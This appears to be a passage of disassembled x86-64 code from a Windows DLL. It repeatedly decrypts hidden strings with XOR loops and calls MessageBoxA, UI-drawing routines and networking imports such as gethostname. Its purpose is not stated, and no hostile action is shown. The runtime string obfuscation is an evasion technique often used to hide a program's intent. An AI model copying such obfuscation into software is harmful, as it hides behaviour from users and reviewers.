jl 0x1800c0130
cmp r8d, 0x26
jge 0x1800c0263
movsxd rax, r8d
lea r9, [rbp + 0x1618]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x1800c0230
xor r9d, r9d
lea r8, [rbp + 0x618]
lea rdx, [rbp + 0x1618]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.180016030
xor ecx, ecx
call fcn.18000c5c0
movss xmm12, dword [0x180184968]
jmp 0x1800c029a
lea r12, [0x180137dc6]
cmp dword [0x1802b4a94], 2
jne 0x1800c3d6f
lea rcx, [0x1801ad070]
call fcn.18000b470
movss xmm3, dword [rbp + 0x17c4]
movaps xmm1, xmm3
addss xmm1, xmm12
movss xmm2, dword [rbp + 0x17c0]
movaps xmm0, xmm2
addss xmm0, dword [0x180184994]
movss dword [rbp + 0x1a8], xmm0
movss dword [rbp + 0x1ac], xmm1
addss xmm3, dword [0x180138bbc]
addss xmm2, dword [0x180138da8]
movss dword [rbp + 0x1b0], xmm2
movss dword [rbp + 0x1b4], xmm3
mov dword [rsp + 0x28], edi
xorps xmm0, xmm0
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x1a8]
lea rdx, [rbp + 0x1b0]
mov rcx, r14
call fcn.180021da0
mov dword [rbp + 0x1b8], 0x42c20000
mov dword [rbp + 0x1bc], 0x41400000
lea rcx, [rbp + 0x1b8]
call fcn.18001a0a0
call fcn.180009b80
mov eax, dword [str.wU_UO_]
mov dword [rbp + 0x14], eax
movzx ecx, word [0x180182e34]
mov word [rbp + 0x18], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x14], 0x41
xor byte [rbp + 0x15], 0x37
xor byte [rbp + 0x16], 0x38
xor byte [rbp + 0x17], 0x39
xor cl, 0x3a
mov byte [rbp + 0x18], cl
xor byte [rbp + 0x19], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1a], al
xor r8d, r8d
lea rdx, [0x1802b4a98]
lea rcx, [rbp + 0x14]
call fcn.180047cc0
movss xmm1, dword [0x180138bd8]
xorps xmm0, xmm0
call fcn.180019710
mov eax, dword [0x180182e38]
mov dword [rbp - 0x20], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1800c0472
mov r8d, edi
cmp r15d, 2
jl 0x1800c042e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x20], xmm1
jmp 0x1800c0472
lea r9, [rbp - 0x20]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1800c0440
mov r8d, 1
lea rdx, [0x1802b4a98]
lea rcx, [rbp - 0x20]
call fcn.180047cc0
call fcn.18000cc90
mov eax, dword [0x1802b4a98]
cmp eax, 1
jne 0x1800c22ac
mov dword [rbp + 0x1c0], 0x42aa0000
mov dword [rbp + 0x1c4], 0x42700000
lea rcx, [rbp + 0x1c0]
call fcn.18001a0a0
mov qword [rbp + 0x1c8], 0
movsd xmm0, qword [0x180182e40]
movsd qword [rbp + 0x328], xmm0
movzx eax, byte [0x180182e48]
mov byte [rbp + 0x328], 0x45
xor byte [rbp + 0x329], 0x37
xor byte [rbp + 0x32a], 0x38
xor byte [rbp + 0x32b], 0x39
xor byte [rbp + 0x32c], 0x3a
xor byte [rbp + 0x32d], 0x3b
xor byte [rbp + 0x32e], 0x3c
xor byte [rbp + 0x32f], 0x3d
xor al, 0x3e
mov byte [rbp + 0x330], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x328]
call fcn.180008f00
mov dword [rbp + 0x1d0], 0x41400000
mov dword [rbp + 0x1d4], 0x41400000
lea rcx, [rbp + 0x1d0]
call fcn.18001a0a0
movzx eax, word [0x180182e50]
mov word [rbp - 0x68], ax
cmp byte [0x180182e51], 0
je 0x1800c057d
mov byte [rbp - 0x68], 0x33
xor byte [rbp - 0x67], 0x37
lea r10, [rbp - 0x68]
mov dword [rbp + 0x1d8], 0x43910000
mov dword [rbp + 0x1dc], 0x43820000
mov eax, dword [str.sdh9]
mov dword [rbp - 0x50], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1800c0652
mov r8d, edi
cmp r15d, 2
jl 0x1800c0615
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x50], xmm1
jmp 0x1800c0652
lea r9, [rbp - 0x50]
nop dword [rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1800c0620
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp - 0x50]
call fcn.180008f00
movzx eax, word [0x180182e68]
movsd xmm0, qword [0x180182e60]
mov word [rbp + 0x470], ax
movsd qword [rbp + 0x468], xmm0
movzx eax, byte [0x180182e6a]
mov byte [rbp + 0x468], 0x45
xor byte [rbp + 0x469], 0x37
xor byte [rbp + 0x46a], 0x38
xor byte [rbp + 0x46b], 0x39
xor byte [rbp + 0x46c], 0x3a
xor byte [rbp + 0x46d], 0x3b
xor byte [rbp + 0x46e], 0x3c
xor byte [rbp + 0x46f], 0x3d
xor byte [rbp + 0x470], 0x3e
xor byte [rbp + 0x471], 0x3f
xor al, 0x40
mov byte [rbp + 0x472], al
mov eax, dword [0x180182e54]
mov dword [rbp + 0x3c], eax
movzx ecx, word [0x180182e58]
mov word [rbp + 0x40], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x3c], 0x45
xor byte [rbp + 0x3d], 0x37
xor byte [rbp + 0x3e], 0x38
xor byte [rbp + 0x3f], 0x39
xor cl, 0x3a
mov byte [rbp + 0x40], cl
xor byte [rbp + 0x41], 0x3b
xor al, 0x3c
mov byte [rbp + 0x42], al
lea r8, [rbp + 0x468]
lea rdx, [0x1802b4463]
lea rcx, [rbp + 0x3c]
call fcn.18003fb10
cmp byte [0x1802b4463], 0
je 0x1800c1229
movsd xmm0, qword [0x180182e70]
movsd qword [rbp + 0x428], xmm0
movzx eax, word [0x180182e78]
mov word [rbp + 0x430], ax
cmp byte [0x180182e79], 0
je 0x1800c07b0
mov byte [rbp + 0x428], 0x45
xor byte [rbp + 0x429], 0x37
xor byte [rbp + 0x42a], 0x38
xor byte [rbp + 0x42b], 0x39
xor byte [rbp + 0x42c], 0x3a
xor byte [rbp + 0x42d], 0x3b
xor byte [rbp + 0x42e], 0x3c
xor byte [rbp + 0x42f], 0x3d
xor byte [rbp + 0x430], 0x3e
xor byte [rbp + 0x431], 0x3f
mov r8, r12
lea rdx, [0x1802b4464]
lea rcx, [rbp + 0x428]
call fcn.18003fb10
movsd xmm0, qword [0x180182e80]
movsd qword [rbp + 0x558], xmm0
mov ecx, dword [0x180182e88]
mov dword [rbp + 0x560], ecx
cmp byte [0x180182e8b], 0
je 0x1800c0982
mov r8d, edi
cmp r15d, 2
jl 0x1800c0946
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182e80]
xorps xmm1, xmm0
movd dword [rbp + 0x558], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x55c]
xorps xmm2, xmm1
movd dword [rbp + 0x55c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x560], xmm2
jmp 0x1800c0982
lea r9, [rbp + 0x558]
nop dword [rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800c0950
mov r8, r12
lea rdx, [0x1802b4465]
lea rcx, [rbp + 0x558]
call fcn.18003fb10
movsd xmm0, qword [0x180182e90]
movsd qword [rbp + 0x338], xmm0
movzx eax, byte [0x180182e98]
mov byte [rbp + 0x338], 0x45
xor byte [rbp + 0x339], 0x37
xor byte [rbp + 0x33a], 0x38
xor byte [rbp + 0x33b], 0x39
xor byte [rbp + 0x33c], 0x3a
xor byte [rbp + 0x33d], 0x3b
xor byte [rbp + 0x33e], 0x3c
xor byte [rbp + 0x33f], 0x3d
xor al, 0x3e
mov byte [rbp + 0x340], al
mov r8, r12
lea rdx, [0x1802b4466]
lea rcx, [rbp + 0x338]
call fcn.18003fb10
movsd xmm0, qword [0x180182ea0]
movsd qword [rbp + 0x568], xmm0
mov ecx, dword [0x180182ea8]
mov dword [rbp + 0x570], ecx
movzx eax, byte [0x180182eac]
mov byte [rbp + 0x574], al
mov r8d, edi
cmp r15d, 2
jl 0x1800c0b89
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182ea0]
xorps xmm1, xmm0
movd dword [rbp + 0x568], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x56c]
xorps xmm2, xmm1
movd dword [rbp + 0x56c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x570], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x568]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800c0ba0
mov r8, r12
lea rdx, [0x1802b4469]
lea rcx, [rbp + 0x568]
call fcn.18003fb10
movsd xmm0, qword [0x180182eb0]
movsd qword [rbp + 0x658], xmm0
mov ecx, dword [0x180182eb8]
mov dword [rbp + 0x660], ecx
movzx eax, word [0x180182ebc]
mov word [rbp + 0x664], ax
cmp byte [0x180182ebd], 0
je 0x1800c0dc3
mov r8d, edi
cmp r15d, 2
jl 0x1800c0d7b
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182eb0]
xorps xmm1, xmm0
movd dword [rbp + 0x658], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x65c]
xorps xmm2, xmm1
movd dword [rbp + 0x65c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x660], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x658]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c0d90
mov r8, r12
lea rdx, [0x1802b4467]
lea rcx, [rbp + 0x658]
call fcn.18003fb10
movzx eax, byte [0x180182ecc]
mov ecx, dword [0x180182ec8]
movsd xmm0, qword [0x180182ec0]
mov byte [rbp + 0x584], al
mov dword [rbp + 0x580], ecx
movsd qword [rbp + 0x578], xmm0
mov r8d, edi
cmp r15d, 2
jl 0x1800c0f5d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182ec0]
xorps xmm1, xmm0
movd dword [rbp + 0x578], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x57c]
xorps xmm2, xmm1
movd dword [rbp + 0x57c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x580], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x578]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800c0f70
mov r8, r12
lea rdx, [0x1802b4468]
lea rcx, [rbp + 0x578]
call fcn.18003fb10
movsd xmm0, qword [0x180182ed0]
movsd qword [rbp + 0x418], xmm0
movzx eax, word [0x180182ed8]
mov word [rbp + 0x420], ax
mov r8, r12
lea rdx, [0x1802b446b]
lea rcx, [rbp + 0x418]
cmp byte [0x180182ed9], 0
je 0x1800c1037
mov byte [rbp + 0x418], 0x45
xor byte [rbp + 0x419], 0x37
xor byte [rbp + 0x41a], 0x38
xor byte [rbp + 0x41b], 0x39
xor byte [rbp + 0x41c], 0x3a
xor byte [rbp + 0x41d], 0x3b
xor byte [rbp + 0x41e], 0x3c
xor byte [rbp + 0x41f], 0x3d
xor byte [rbp + 0x420], 0x3e
xor byte [rbp + 0x421], 0x3f
call fcn.18003fb10
movzx eax, word [0x180182eec]
mov word [rbp + 0x704], ax
movzx eax, byte [0x180182eee]
mov ecx, dword [0x180182ee8]
movsd xmm0, qword [0x180182ee0]
mov byte [rbp + 0x706], al
mov dword [rbp + 0x700], ecx
movsd qword [rbp + 0x6f8], xmm0
mov r8d, edi
cmp r15d, 2
jl 0x1800c11ce
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182ee0]
xorps xmm1, xmm0
movd dword [rbp + 0x6f8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6fc]
xorps xmm2, xmm1
movd dword [rbp + 0x6fc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x700], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x6f8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800c11e0
mov r8, r12
lea rdx, [0x1802b446a]
lea rcx, [rbp + 0x6f8]
call fcn.18003fb10
mov cl, 1
call fcn.18000c5c0
mov dword [rbp + 0x1e0], 0x41400000
mov dword [rbp + 0x1e4], 0x438e8000
lea rcx, [rbp + 0x1e0]
call fcn.18001a0a0
movzx eax, word [0x180182f00]
mov word [rbp - 0x64], ax
mov dword [rbp + 0x1e8], 0x43910000
mov dword [rbp + 0x1ec], 0x43070000
movsd xmm1, qword [str.wSUPTROIL4.00D]
mov ecx, dword [0x180182ef8]
movzx eax, word [0x180182efc]
movsd qword [rbp + 0x758], xmm1
mov dword [rbp + 0x760], ecx
mov word [rbp + 0x764], ax
movzx eax, byte [0x180182efe]
mov byte [rbp + 0x766], al
cmp byte [0x180182f01], 0
je 0x1800c12b7
mov byte [rbp - 0x64], 0x33
xor byte [rbp - 0x63], 0x37
mov r8d, edi
cmp r15d, 2
jl 0x1800c1412
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.wSUPTROIL4.00D]
xorps xmm1, xmm0
movd dword [rbp + 0x758], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x75c]
xorps xmm2, xmm1
movd dword [rbp + 0x75c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x760], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x758]
add r9, rax
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800c1420
mov qword [rsp + 0x28], r12
lea rax, [rbp - 0x64]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x758]
call fcn.180008f00
movsd xmm0, qword [0x180182f08]
movsd qword [rbp + 0x588], xmm0
mov ecx, dword [0x180182f10]
mov dword [rbp + 0x590], ecx
movzx eax, byte [0x180182f14]
mov byte [rbp + 0x594], al
mov r8d, edi
cmp r15d, 2
jl 0x1800c15fe
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182f08]
xorps xmm1, xmm0
movd dword [rbp + 0x588], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x58c]
xorps xmm2, xmm1
movd dword [rbp + 0x58c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x590], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x588]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
